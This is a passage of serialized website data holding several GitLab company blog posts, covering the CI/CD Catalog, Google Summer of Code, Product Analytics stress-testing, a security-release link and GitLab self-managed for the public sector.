addition to reusing components, developers can contribute to the GitLab CI/CD community by creating their own components and publishing them in the catalog. This ensures that others can benefit from their expertise and encourages collaboration across the platform.\n\n## How to discover and use components\n\n**1. Opening the CI/CD Component Catalog**\n\nClick on “Search or go to...”\n\n![component catalog](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099407/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750099406962.png)\n\nOpen the catalog by navigating to “Explore > CI/CD Catalog” or visit this [catalog page](https://gitlab.com/explore/catalog).\n\nUpon accessing the catalog, you'll find a list of CI/CD components projects contributed by your team, organization, or the wider GitLab community.\n\n![component catalog](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099407/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750099406963.png)\n\n**2. Browsing components**\n\nNavigate through the list of components in the CI/CD Catalog or use the Search bar to find components related to a specific topic.\n\nEach component project contains one or multiple components. Opening a component project will display its documentation, providing details on all available components. This includes insights into how to use each component and understanding the expected input parameters.\n\n**3. Include the selected components in your .gitlab-ci.yml**\n\nNow that you've explored the catalog and selected the desired CI/CD components, integrate them into your project's CI/CD pipeline.\n\nFollow these steps to update your .gitlab-ci.yml file:\n\n1. Open the .gitlab-ci.yml file in your project for editing.\n2. Use the include keyword to add the selected components to your CI configuration. \n3. Ensure that the paths to the component YAML files are correct and specify the appropriate version for each component.\n4. In case the components have input parameters, review the component’s documentation to understand which inputs are required, and add them to your CI configuration.\n5. Save and commit your changes to the .gitlab-ci.yml file.\n\nHere is an example of YAML code that demonstrates how to include a few components and use them with input parameters.\n\n![component catalog](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099407/Blog/Content%20Images/Blog/Content%20Images/Screenshot_2023-12-19_at_1.15.48_PM_aHR0cHM6_1750099406965.png)\n\n## How to create and publish components\n\nHave you crafted a valuable configuration that you'd like to share and contribute to your team or the GitLab community? Here are the six steps to make it happen:\n\n**Step 1: Create a new project and set it as a component project**\n\n1. On the left sidebar, select **Search or go to** and find your project.\n2. On the left sidebar, select Settings > General.\n3. Expand Visibility, project features, permissions.\n4. Scroll down to CI/CD Catalog resource and select the toggle to set the project as a CI/CD Catalog resource.\n5. Ensure that your project description is filled out; this information will be showcased in the catalog, providing users with insights into the purpose and functionality of your components.\n6. Create a .gitlab-ci.yml file in the root of the repository. You will need this file to test and release the components as described in steps 4 and 5 below. Note: This step only needs to be done once for any project that contains components.\n\n**Step 2: Create the components**\n\n1. Create a /templates folder in the root directory of the project.\n2. In this templates directory, create one YAML template file (ending in .yml) for each component.   \n3. The template can optionally include a description of input arguments using the `spec` keyword if the component requires input parameters, and the definition of jobs, that may include references to values using the interpolation format $[[ inputs.input-name ]]. Ensure you use three dash lines between the spec header, and job definitions.\n\nHere is an example of a `deploy.yml` template that gets input parameters:\n\n![component catalog](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099407/Blog/Content%20Images/Blog/Content%20Images/Screenshot_2023-12-19_at_11.34.20_AM_aHR0cHM6_1750099406966.png)\n\nIn this template, we've defined two input parameters, `stage` and `environment`, both with default values. In the content section, a job is defined that interpolates these input arguments.\n\n**Step 3: Create components documentation** \n\nCreate a README.md file in the root of the project, including information about the components. Explain the component's functionality, detail input parameters, and provide illustrative examples. This ensures clarity for component consumers on how to use them.\n\nThis is an example of component documentation:\n![component catalog](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099407/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750099406967.png)\n\nAdditional information can be found in our [CI/CD components](https://docs.gitlab.com/ee/ci/components/index.html#components-repository) documentation. \n\n**Step 4: Add tests to the components (recommended)**\n\nDeveloping a component follows a standard software development cycle with stages like build, test, and deploy. It's highly recommended to test your components before publishing them. Check out this example test, which queries the GitLab REST API to check whether a component job has been added to the pipeline. Feel free to use it, and consider adding more tests to ensure your components work as expected.\n\n![component catalog](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099407/Blog/Content%20Images/Blog/Content%20Images/Screenshot_2023-12-19_at_12.32.53_PM_aHR0cHM6_1750099406968.png)\n\nInclude all your test jobs in the **.gitlab-ci.yml** file in your Catalog project.\n\n**Step 5: Prepare your CI/CD configuration for publishing**\n\n1. Create a release job in the **.gitlab-ci.yml** file in the component project using the `Release` keyword.  See the job example:\n\n![component catalog](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099407/Blog/Content%20Images/Blog/Content%20Images/Screenshot_2023-12-19_at_12.34.27_PM_aHR0cHM6_1750099406969.png)\n\n__Note:__ Do not \"create release\" from GitLab UI since this soon won't be supported for a Component Catalog.\n\n2. We recommend adding this rule in the Release job; this will automatically trigger the Release job only when creating a git tag starts with digits in the project, following semantic release conventions (1.0.0 for example).\n\n![component catalog](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099407/Blog/Content%20Images/Blog/Content%20Images/Screenshot_2023-12-19_at_1.21.30_PM_aHR0cHM6_1750099406970.png)\n\n3. So this is how we recommend your job to look: \n\n![component catalog](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099407/Blog/Content%20Images/Blog/Content%20Images/Screenshot_2023-12-19_at_12.37.09_PM_aHR0cHM6_1750099406970.png)\n\n4. To manually release components, add manual rule as below, so when the pipeline is triggered, someone will need to manually run the release job. \n\n![component catalog](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099407/Blog/Content%20Images/Blog/Content%20Images/Screenshot_2023-12-19_at_12.38.18_PM_aHR0cHM6_1750099406971.png)\n\nHere is the release job with the `when:manual` rule:\n\n![component catalog](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099407/Blog/Content%20Images/Blog/Content%20Images/Screenshot_2023-12-19_at_12.41.00_PM_aHR0cHM6_1750099406972.png)\n\n**Step 6: Publish your components**\n\nOnce you are satisfied with your components, and all tests have passed successfully, it's time to publish a new version by creating a git tag, so they will be available in the CI/CD Catalog.\n\n1. Create a Git tag using the semantic versioning format \"MAJOR.MINOR.PATCH\". \n\n2. You can create tags through the UI by navigating to Code -> Tags -> New Tag, or via the CLI using `git tag`. \n\n3. Creating the tag will trigger a pipeline that runs the Release job if all tests pass successfully. The component project will then be assigned the version you defined in the tag, and it will appear in the catalog.\n\n### Example projects\n\n* [GitLab official components](https://gitlab.com/components)\n\n### Documentation \n\nFor more details on using components from the CI/CD Catalog and maximizing their potential within your projects, refer to the official [CI/CD Catalog documentation](https://docs.gitlab.com/ee/ci/components/#cicd-catalog). This documentation provides in-depth insights into the functionality.\n\n> [Take a tour](https://gitlab.navattic.com/cicd-catalog) of the GitLab CI/CD Catalog.\n\n_A special thank you to [Dov Hershkovitch](https://about.gitlab.com/company/team/#dhershkovitch) and [Fabio Pitino](https://gitlab.com/fabiopitino) for their invaluable content reviews and contributions to this blog post._",[110,736,4103,696],{"slug":7565,"featured":6,"template":678},"introducing-the-gitlab-ci-cd-catalog-beta","content:en-us:blog:introducing-the-gitlab-ci-cd-catalog-beta.yml","Introducing The Gitlab Ci Cd Catalog Beta","en-us/blog/introducing-the-gitlab-ci-cd-catalog-beta.yml","en-us/blog/introducing-the-gitlab-ci-cd-catalog-beta",{"_path":7571,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7572,"content":7577,"config":7583,"_id":7585,"_type":16,"title":7586,"_source":17,"_file":7587,"_stem":7588,"_extension":20},"/en-us/blog/google-summer-of-code-2024-contribute-to-gitlab-and-git-to-prepare",{"title":7573,"description":7574,"ogTitle":7573,"ogDescription":7574,"noIndex":6,"ogImage":831,"ogUrl":7575,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7575,"schema":7576},"Google Summer of Code 2024: Contribute to GitLab and Git to prepare","Learning how to contribute to GitLab and Git can help you get ready to apply for Google's program for open source development.","https://about.gitlab.com/blog/google-summer-of-code-2024-contribute-to-gitlab-and-git-to-prepare","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Google Summer of Code 2024: Contribute to GitLab and Git to prepare\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Nick Veenhof\"},{\"@type\":\"Person\",\"name\":\"Christian Couder\"}],\n        \"datePublished\": \"2023-12-20\",\n      }",{"title":7573,"description":7574,"authors":7578,"heroImage":831,"date":7580,"body":7581,"category":813,"tags":7582},[7579,3145],"Nick Veenhof","2023-12-20","Google Summer of Code ([GSoC](https://summerofcode.withgoogle.com/)), a program that helps bring new contributors into open source software development, is just around the corner. So now is the time to start learning [how to contribute to GitLab](https://about.gitlab.com/community/contribute/) or Git and prepare ideas for GSOC 2024. GitLab has participated in GSOC for more than five years of the program's 20-year history, and the mentorship opportunity aligns well with our \"[Everyone can contribute](https://handbook.gitlab.com/handbook/company/mission/)\" mission.\n\nIn 2023, GitLab team members mentored GSoC contributors working on GitLab and Git open source projects throughout the 12-week program. One example was the “Unify ref-filter formats with other --pretty formats” Git project. \n\n## Implementing new formatting options for Git commands\n\nKousik Sanagavarapu was selected as a 2023 GSOC contributor and was mentored by [Christian Couder](https://gitlab.com/chriscool), staff backend engineer on the GitLab Gitaly::Git team.\n\nKousik’s work focused on implementing some [new formatting options for Git commands](https://summerofcode.withgoogle.com/programs/2023/projects/rck3kmq2) like `git branch`, `git tag` and `git for-each-ref`. These commands use a formatting mechanism called the “ref-filter” format. The formatting options Kousik worked on were already available for other commands like `git log`, that use a different formatting mechanism called the “pretty” format. So the work involved porting these options from the “pretty” format to the “ref-filter” format.\n\nThanks to Kousik’s work, it’s now possible to use a number of new placeholders like %(signature), %(authoremail:mailmap), or %(describe) in the –format option of `git branch`, `git tag`, and `git for-each-ref` to get more information about the commits that branches, tags, or refs in general point to. [Read the documentation](https://git-scm.com/docs/git-for-each-ref/2.43.0#_field_names) for a description of these placeholders.\n\nThese improvements are available in the recently released Git 2.43.\n\n## How GSOC works\n\nOpen source organizations who participate – such as GitLab and Git – have to propose projects and provide mentors. Selected contributors are helped by the mentors and paid by Google during 12 or more weeks while they work on their projects. Contributors are evaluated three times by mentors: after a “Community Bonding” period, in the middle of the coding period, and after the coding period for a final evaluation.  \n\n## How to participate as a contributor\n\nTo apply to become a contributor for GSOC 2024, check out the [GSoC website](https://summerofcode.withgoogle.com/) and the [Google Open Source blog](https://opensource.googleblog.com). Interested parties should register [when selected organizations are announced](https://opensource.googleblog.com/2023/02/mentor-organizations-announced-for.html), which will happen in a few months. \n\nContributors will then be selected by the mentors after they have made a small contribution and after they have prepared an application document that details how they plan to achieve the proposed project they want to work on.\n\nProspective contributors can start learning about GitLab or Git right now to be fully ready to make a small contribution and prepare an application. [As Google says](https://opensource.googleblog.com/2023/02/mentor-organizations-announced-for.html), “The most successful applications come from contributors who start preparing now.” \n\nGitLab has a lot of documentation and tutorials [to learn how to contribute](https://about.gitlab.com/community/contribute/), while Git has a [Hacking Git page](https://git.github.io/Hacking-Git/) with a lot of helpful links.\n\n## How GitLab team members participate\n\nGitLab participates in GSOC as an open source organization and team members from different functional areas volunteer to mentor contributors and propose projects for them to work on.  \n\nIn 2023, GitLab team members mentored contributors on a number of GitLab-related projects, including  Pajamas Migration with the GitLab Foundations Team and improving the documentation for the contributor journey to GitLab.\n\n## How Git developers participate\n\nThe Git project also participates in GSoC as an open source organization, and Git developers who are interested in mentoring propose projects, and then select GSoC contributors.\n\nLast summer, in addition to the \"Unify ref-filter formats with other --pretty formats\" project, Git developers proposed the \"[More Sparse Index integrations](https://summerofcode.withgoogle.com/programs/2023/projects/Rkbc1Abe)\" project.\n\n## Mentoring and GitLab \n\nGitLab’s mission is “Everyone can contribute” and we understand that helping potential contributors through mentoring can achieve this goal. In addition to participating in external programs like GSOC and [Outreachy](https://about.gitlab.com/blog/outreachy-sponsorship-winter-2020/), GitLab has internal mentoring programs, including a [CEO Shadow program](https://handbook.gitlab.com/handbook/ceo/shadow/) and a [Mentorship program for women](https://handbook.gitlab.com/handbook/company/culture/inclusion/tmrg-gitlab-women/mentorship-program/).\n\nLearn more about [mentoring at GitLab](https://handbook.gitlab.com/handbook/people-group/learning-and-development/mentor/).",[815,267,2704,1067,2368],{"slug":7584,"featured":6,"template":678},"google-summer-of-code-2024-contribute-to-gitlab-and-git-to-prepare","content:en-us:blog:google-summer-of-code-2024-contribute-to-gitlab-and-git-to-prepare.yml","Google Summer Of Code 2024 Contribute To Gitlab And Git To Prepare","en-us/blog/google-summer-of-code-2024-contribute-to-gitlab-and-git-to-prepare.yml","en-us/blog/google-summer-of-code-2024-contribute-to-gitlab-and-git-to-prepare",{"_path":7590,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7591,"content":7596,"config":7603,"_id":7605,"_type":16,"title":7606,"_source":17,"_file":7607,"_stem":7608,"_extension":20},"/en-us/blog/building-gitlab-with-gitlab-stress-testing-product-analytics",{"title":7592,"description":7593,"ogTitle":7592,"ogDescription":7593,"noIndex":6,"ogImage":6418,"ogUrl":7594,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7594,"schema":7595},"Building GitLab with GitLab: Stress-testing Product Analytics","We put Product Analytics through its paces internally to prep it for Beta. Find out what that entailed and how it led to feature improvements.","https://about.gitlab.com/blog/building-gitlab-with-gitlab-stress-testing-product-analytics","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Building GitLab with GitLab: Stress-testing Product Analytics\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"James Heimbuck\"},{\"@type\":\"Person\",\"name\":\"Sam Kerr\"}],\n        \"datePublished\": \"2023-12-14\",\n      }",{"title":7592,"description":7593,"authors":7597,"heroImage":6418,"date":7600,"body":7601,"category":962,"tags":7602},[7598,7599],"James Heimbuck","Sam Kerr","2023-12-14","To best understand how your features being developed and shipped are helping you meet your goals, you need data. The previously announced [Product Analytics feature set](https://about.gitlab.com/blog/introducing-product-analytics-in-gitlab/) helps our customers do just that by providing tools to instrument code and process and visualize the data – all within GitLab.\n\n## Privacy first\n\nWe know customer privacy is a big concern for our customers and our customer's customers. As we said in our [announcement blog](https://about.gitlab.com/blog/introducing-product-analytics-in-gitlab/#our-continued-commitment-to-user-privacy):\n\n\u003Cp>\u003Ccenter>\"Product Analytics is designed to honor commonly recognized opt-out signals and we are designing Product Analytics to give you full control over the data being collected on a cluster managed by GitLab or your own.\"\u003C/center>\u003C/p>\n\nNothing about that approach has changed and it is too important not to mention again.\n\n## Customer Zero and the biggest customer\n\nWe are progressing quickly towards the open beta for Product Analytics. We are currently feature-complete for the beta with the managed product analytics stack, [five existing SDKs for instrumentation](https://docs.gitlab.com/ee/user/product_analytics/#instrument-a-gitlab-project), [default dashboards](https://docs.gitlab.com/ee/user/analytics/analytics_dashboards.html#product-analytics), and the recently released  improved Dashboard and Visualization Designer experiences. We are also learning more about what problems our internal users still have that they cannot solve with Product Analytics.\n\nAs we prepare for the Beta release of Product Analytics, it is important for us to know how the Managed Product Analytics stack will stand up to a bigger event load than we are getting from the initial customers and internal users. With our commitment to dogfooding, adding more internal projects was the obvious answer, so we worked with more internal teams to add instrumentation for the Metrics Dictionary and [GitLab Design System](https://design.gitlab.com/) sites.\n\nInstrumenting internal projects gave us additional feedback about the setup of Product Analytics and the usefulness of the Audience and Behavior Dashboards, showing how many users were visiting and what pages they visited. These gave us great insights into the usefulness of Product Analytics, but did not provide the volume of events we needed to really stress test Product Analytics at the scale we wanted. \n\n![product-analytics-default-dashboard-list](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683252/Blog/Content%20Images/product-analytics-default-dashboard-list.png)\n\nAt the same time the Analytics Instrumentation team was hard at work developing an event framework to make instrumentation easier for GitLab developers. This lets the GitLab teams create new features and update existing ones faster to understand how changes impact our users. This also made it much easier and faster to add Product Analytics to GitLab.com, which provided the event volume that would stress test the Product Analytics stack so we could validate our assumptions.\n\nOnce fully enabled, with all page views and events going to the Managed Product Analytics stack, we saw a 17x increase in load above all other internally instrumented projects, receiving over 20 million events a day. That is a lot of events!\n\nBy instrumenting GitLab.com, we were able to see the stress cracks in our infrastructure _before_ introducing the features to users in our Beta. We were able to validate our scaling strategies, identify and resolve query performance concerns, improve the onboarding experience for our upcoming Beta program, and plan future improvements as we work towards [general availability](https://gitlab.com/groups/gitlab-org/-/epics/9902).\n\nWe have also proved to ourselves that Product Analytics can stand up to future customer load without making customers suffer through outages or slowness as we make the stack better.\n\n## What’s next for Product Analytics\n\nThroughout the internal release and the experiment phase, we have been talking to customers about what is and is not working with Product Analytics, especially the [built-in dashboards](https://docs.gitlab.com/ee/user/analytics/analytics_dashboards.html#product-analytics). From that feedback we have a number of improvements in mind that can't all fit here but check out our [Product Analytics direction page](https://about.gitlab.com/direction/monitor/product-analytics/#what-is-next-for-us-and-why) to see the latest on what improvements are coming next.\n\nTalking directly with users of Product Analytics is also informing the next iterations of other features like [Customizable Dashboards](https://gitlab.com/groups/gitlab-org/-/epics/8574) and [Visualization Designer](https://gitlab.com/groups/gitlab-org/-/epics/9386). The team is also exploring ways to [leverage AI](https://gitlab.com/groups/gitlab-org/-/epics/10335) to make it easier to find and understand Product Analytics data. \n\n## Share your feedback\n\nIt is an exciting time in product analytics and we cannot wait for you to try the feature out yourself! You can add ideas or comments to our [feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/391970). We look forward to hearing from you!\n\n## Read more \"Building GitLab with GitLab\"\n\n- [Building GitLab with GitLab: How GitLab.com inspired Dedicated](https://about.gitlab.com/blog/building-gitlab-with-gitlabcom-how-gitlab-inspired-dedicated/)\n- [Building GitLab with GitLab: Web API Fuzz Testing](https://about.gitlab.com/blog/building-gitlab-with-gitlab-api-fuzzing-workflow/)\n",[943,695,1268,676],{"slug":7604,"featured":92,"template":678},"building-gitlab-with-gitlab-stress-testing-product-analytics","content:en-us:blog:building-gitlab-with-gitlab-stress-testing-product-analytics.yml","Building Gitlab With Gitlab Stress Testing Product Analytics","en-us/blog/building-gitlab-with-gitlab-stress-testing-product-analytics.yml","en-us/blog/building-gitlab-with-gitlab-stress-testing-product-analytics",{"_path":7610,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7611,"content":7617,"config":7622,"_id":7625,"_type":16,"title":7626,"_source":17,"_file":7627,"_stem":7628,"_extension":20},"/en-us/blog/gitlab-security-release-16-6-2-16-5-4-16-4-4",{"title":7612,"description":7613,"ogTitle":7612,"ogDescription":7613,"config":7614,"ogImage":3431,"ogUrl":7615,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7615,"schema":7616},"GitLab Security Release: 16.6.2, 16.5.4, 16.4.4","Learn more about GitLab Security Release: 16.6.2, 16.5.4, 16.4.4 for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-security-release-16-6-2-16-5-4-16-4-4","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Security Release: 16.6.2, 16.5.4, 16.4.4\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dominic Couture\"}],\n        \"datePublished\": \"2023-12-13\",\n      }",{"title":7612,"description":7613,"authors":7618,"heroImage":3431,"date":7620,"body":7621,"category":674},[7619],"Dominic Couture","2023-12-13","See attached blog: https://about.gitlab.com/releases/2023/12/13/security-release-gitlab-16-6-2-released/.",{"slug":7623,"featured":6,"template":678,"externalUrl":7624},"gitlab-security-release-16-6-2-16-5-4-16-4-4","https://about.gitlab.com/releases/2023/12/13/security-release-gitlab-16-6-2-released/","content:en-us:blog:gitlab-security-release-16-6-2-16-5-4-16-4-4.yml","Gitlab Security Release 16 6 2 16 5 4 16 4 4","en-us/blog/gitlab-security-release-16-6-2-16-5-4-16-4-4.yml","en-us/blog/gitlab-security-release-16-6-2-16-5-4-16-4-4",{"_path":7630,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7631,"content":7636,"config":7640,"_id":7642,"_type":16,"title":7643,"_source":17,"_file":7644,"_stem":7645,"_extension":20},"/en-us/blog/why-gitlab-self-managed-is-the-perfect-partner-for-the-public-sector",{"title":7632,"description":7633,"ogTitle":7632,"ogDescription":7633,"noIndex":6,"ogImage":6704,"ogUrl":7634,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7634,"schema":7635},"Why GitLab self-managed is the perfect partner for the public sector","Planning, source code management, CI/CD, app security, and compliance features make the DevSecOps platform a great pairing for government environments.","https://about.gitlab.com/blog/why-gitlab-self-managed-is-the-perfect-partner-for-the-public-sector","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why GitLab self-managed is the perfect partner for the public sector\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sandra Gittlen\"}],\n        \"datePublished\": \"2023-12-13\",\n      }",{"title":7632,"description":7633,"authors":7637,"heroImage":6704,"date":7620,"body":7638,"category":962,"tags":7639},[3281],"While Atlassian Server is closing in on [end of life](https://about.gitlab.com/blog/atlassian-server-ending-move-to-a-single-devsecops-platform/) (February 15), GitLab is expanding the capabilities of its self-managed DevSecOps platform to fully support the needs of the public sector. GitLab’s [Agile Planning and Delivery features](https://about.gitlab.com/solutions/agile-delivery/) help public sector teams consolidate their various Atlassian tools into GitLab’s comprehensive DevSecOps platform. With GitLab, everyone can truly collaborate and efficiently deliver value and consistent quality throughout the DevSecOps lifecycle, including planning, source code management, and continuous integration and delivery – all wrapped with application security and compliance.\n\n\"GitLab self-managed is not only something we offer, but it is important to us. It's a path we are going to continue to support with new functionality and a strong security SLA for critical and high vulnerabilities,\" says Joel Krooswyk, GitLab Federal CTO.\n\nGitLab is [trusted across the public sector](https://about.gitlab.com/solutions/public-sector/) in federal civilian agencies, all branches of the U.S. Department of Defense, the intelligence community, state and local governments, and many government contractors and system integrators due to its best-in-class DevSecOps features. GitLab’s application security and compliance features help public sector organizations meet increasing requirements to secure their software factories and supply chains when developing and delivering solutions to their customers.\n\nHere are some of the benefits of the GitLab DevSecOps Platform for the public sector.\n\n## Migrations your way\n\nGitLab can help organizations expedite their migration from Atlassian Server to a self-managed instance of the DevSecOps platform. Connectivity between Atlassian and GitLab is built into the GitLab platform to automate and simplify data transfer from Jira, Bitbucket, Bamboo, and more. Also, because the process is not a wholesale \"lift and shift,\" organizations can carry out their migration at their own pace, even running the Atlassian and GitLab platforms in parallel, if necessary.\n\n\"Customers can stage their migrations in the way that works best for them, moving teams over in a careful, phased approach. And, if you have a program that is ending soon, you don't have to include it in the migration at all,\" Krooswyk says.\n\nThese guides will help ease the migration from Atlassian to GitLab:\n- [Jira-to-GitLab migration](https://about.gitlab.com/blog/tips-for-a-successful-jira-to-gitlab-migration/)\n- [Bitbucket Server-to-GitLab migration](https://docs.gitlab.com/ee/user/project/import/bitbucket_server.html)\n- [Bamboo-to-GitLab CI/CD migration](https://about.gitlab.com/blog/migrating-from-bamboo-to-gitlab-cicd/)\n\n## Process-neutral planning\n\nGitLab is process-neutral; Agile features can be leveraged to utilize a variety of processes from simple to complex, such as Scaled Agile, on a project-by-project basis. Public sector teams can tailor their work to best meet their needs, while also using [group-defined labels](https://docs.gitlab.com/ee/user/project/labels.html#view-group-labels) to roll information up to management [group-level boards](https://docs.gitlab.com/ee/user/project/issue_board.html#group-issue-boards) and [analytics](https://docs.gitlab.com/ee/user/analytics/analytics_dashboards.html) to track progress across their organization.\n\n## Reduced administration burden\n\nPublic sector organizations can reduce their administrative burden in numerous ways with GitLab, from simplifying procurement processes to streamlining DevSecOps toolchains.\n\nFor instance, if an organization has a conglomerate of boutique contractors all under a single umbrella, they can consolidate licensing into a single purchase and achieve cost savings. They also can eliminate fragile and complex DIY toolchains that impede collaboration and innovation by [consolidating onto a single DevSecOps platform](https://about.gitlab.com/the-source/platform/devops-teams-want-to-shake-off-diy-toolchains-a-platform-is-the-answer/).\n\n## Support for security automation and strong SLAs\n\nGitLab features security automation and governance at scale at every step of the DevSecOps lifecycle. Public sector organizations can practice defense in depth and set granular policies and rules that automate compliance, ensuring a secure software supply chain. Developers can use security automation to minimize manual repetitive tasks so they can focus on deep, value-generating work. At the same time, GitLab's governance guardrails assure security teams that developers are following best practices across the entire company.\n\nFor instance, [required merge request approvals](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/#required-approvals) for [protected branches](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html#approvals-for-protected-branches) and approval rules enable an organization to [support zero trust in the DevSecOps lifecycle](https://about.gitlab.com/blog/why-devops-and-zero-trust-go-together/) by [defining code owners for reviews](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html#code-owners-as-eligible-approvers). Approval rules also can call out when [application security scanning](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html#security-approvals) or [license scanning](https://docs.gitlab.com/ee/user/compliance/license_approval_policies.html) finds a vulnerability or license that needs additional team members with that expertise to join the review and approval process.\n\nGovernment customers can choose to deploy the GitLab DevSecOps Platform as [a single, hardened application](https://about.gitlab.com/press/releases/2020-07-01-gitlab-announces-hardened-container-image-in-support-of-the-us-department-of-defense-enterprise-devsecops-initiative/) that simplifies end-to-end visibility and traceability.\n\nWith GitLab, security and compliance policies are managed and enforced consistently across an organization's DevSecOps processes. GitLab has worked closely with government customers to ensure that the [platform operates in a fully offline environment](https://docs.gitlab.com/ee/topics/offline/) to support the development needs of sensitive programs related to national security.\n\nGitLab's [vulnerability remediation timelines or SLAs](https://handbook.gitlab.com/handbook/security/threat-management/vulnerability-management/#remediation-slas) are based on many factors, such as regulatory compliance, customer SLOs and SLAs, vulnerability impact, scope, prevalence in GitLab environments, impact if exploited, and defining reasonable turn-around times for mitigation and remediation to protect GitLab and its customers. All of these factors will be considered when mapping the priority to [GitLab’s priority labels](https://docs.gitlab.com/ee/development/labels/index.html#priority-labels). All components in scope of vulnerability management are subject to the same SLAs.\n\n## Compliance across the entire software supply chain\n\nSecuring the whole software supply chain is about more than just the platform being compliant; GitLab  also helps the public sector develop and deliver compliant software to their own customers. For instance, GitLab supports [NIST SSDF](https://trust.gitlab.com/) guidance right out of the box, including the ability to generate a software bill of materials ([SBOM](https://about.gitlab.com/blog/the-ultimate-guide-to-sboms/)).\n\nGitLab also has critical features to keep the software supply chain secure such as [continuous vulnerability scanning](https://docs.gitlab.com/ee/user/application_security/continuous_vulnerability_scanning/), which can detect new vulnerabilities outside of an organization's pipeline and in the latest CycloneDX SBOM reports for the default branch. The [compliance dashboard](https://docs.gitlab.com/ee/user/compliance/compliance_center/) enables public sector organizations to report on and manage standards adherence, violations, and compliance frameworks for groups.\n\nControlling access is a key aspect of compliance and GitLab gives public sector organizations complete control over who has access to their development environment. Following zero trust principles, GitLab supports role-based permissions [out of the box](https://docs.gitlab.com/ee/user/permissions.html) as well as [custom roles](https://docs.gitlab.com/ee/user/custom_roles.html).\n\n> Find out [how Lockheed Martin used GitLab's compliance framework](https://about.gitlab.com/customers/lockheed-martin/) to enforce software quality and automation to make releases and dependency management more efficient.\n\n## Pipeline best practices everyone can access\n\nWith GitLab, organizations can easily share knowledge internally and across agencies by leveraging [innersourcing](https://about.gitlab.com/topics/version-control/what-is-innersource/). Teams can centralize their best practices around CI/CD and enable sharing of pipeline processes, including integrations with other tools, that have already been approved.\n\n\"As pipeline improvements are made, they are contributed back to that shared CI/CD knowledge,\" Krooswyk says.\n\nFor instance, public sector organizations can use compliance frameworks to describe the type of compliance requirements projects must follow and compliance pipelines to define a pipeline configuration to run for any projects with a given compliance framework. Teams can also [create CI/CD templates](https://docs.gitlab.com/ee/ci/examples/#adding-templates-to-your-gitlab-installation) to accelerate new development projects.\n\nCustomers also can build a CI component catalog to make reusing pipeline configurations easier and more efficient. Users can discover and collaborate on pipeline constructs so that they can be evolved and improved over time.\n\n> Get an [introduction to GitLab CI component catalogs](https://about.gitlab.com/blog/introducing-ci-components/) and how to best use them.\n\n## Support for cloud-neutral environments\n\nThe public sector has a mandate to remain cloud-neutral. Because GitLab isn’t commercially tied to any specific cloud provider, organizations can de-risk their multi-cloud strategy and avoid being locked into a single vendor. The DevSecOps platform also is designed to meet the unique needs of cloud-native applications and the infrastructure upon which they rely.\n\n## Visibility across the software development lifecycle\n\nA key aspect of succeeding at DevSecOps is visibility — it's necessary to measure, monitor, and make decisions. GitLab's [dashboarding and visualization](https://about.gitlab.com/solutions/value-stream-management/) features help organizations to leverage people, processes, and technology to create value-stream-driven software development and go from idea to customer value with the fastest cycle time possible. With one unified data store, teams on GitLab can measure efficiency, productivity, and other key metrics in one place, including [applying industry-standard DORA metrics](https://docs.gitlab.com/ee/user/analytics/dora_metrics.html). Get a holistic view of everything from DevOps adoption to developer productivity, vulnerability detection, software quality, innovation, and more.\n\n## Experienced professionals at the ready\nGitLab's professional services team has extensive experience in the public sector and understands your particular requirements. If you have multiple services, servers, and programs you need to migrate, we will help you plan that out.\n\n> Ready to migrate to GitLab? [Contact our sales team](https://about.gitlab.com/solutions/public-sector/) to start a conversation today.\n",[943,4103,2509,1899,185],{"slug":7641,"featured":6,"template":678},"why-gitlab-self-managed-is-the-perfect-partner-for-the-public-sector","content:en-us:blog:why-gitlab-self-managed-is-the-perfect-partner-for-the-public-sector.yml","Why Gitlab Self Managed Is The Perfect Partner For The Public 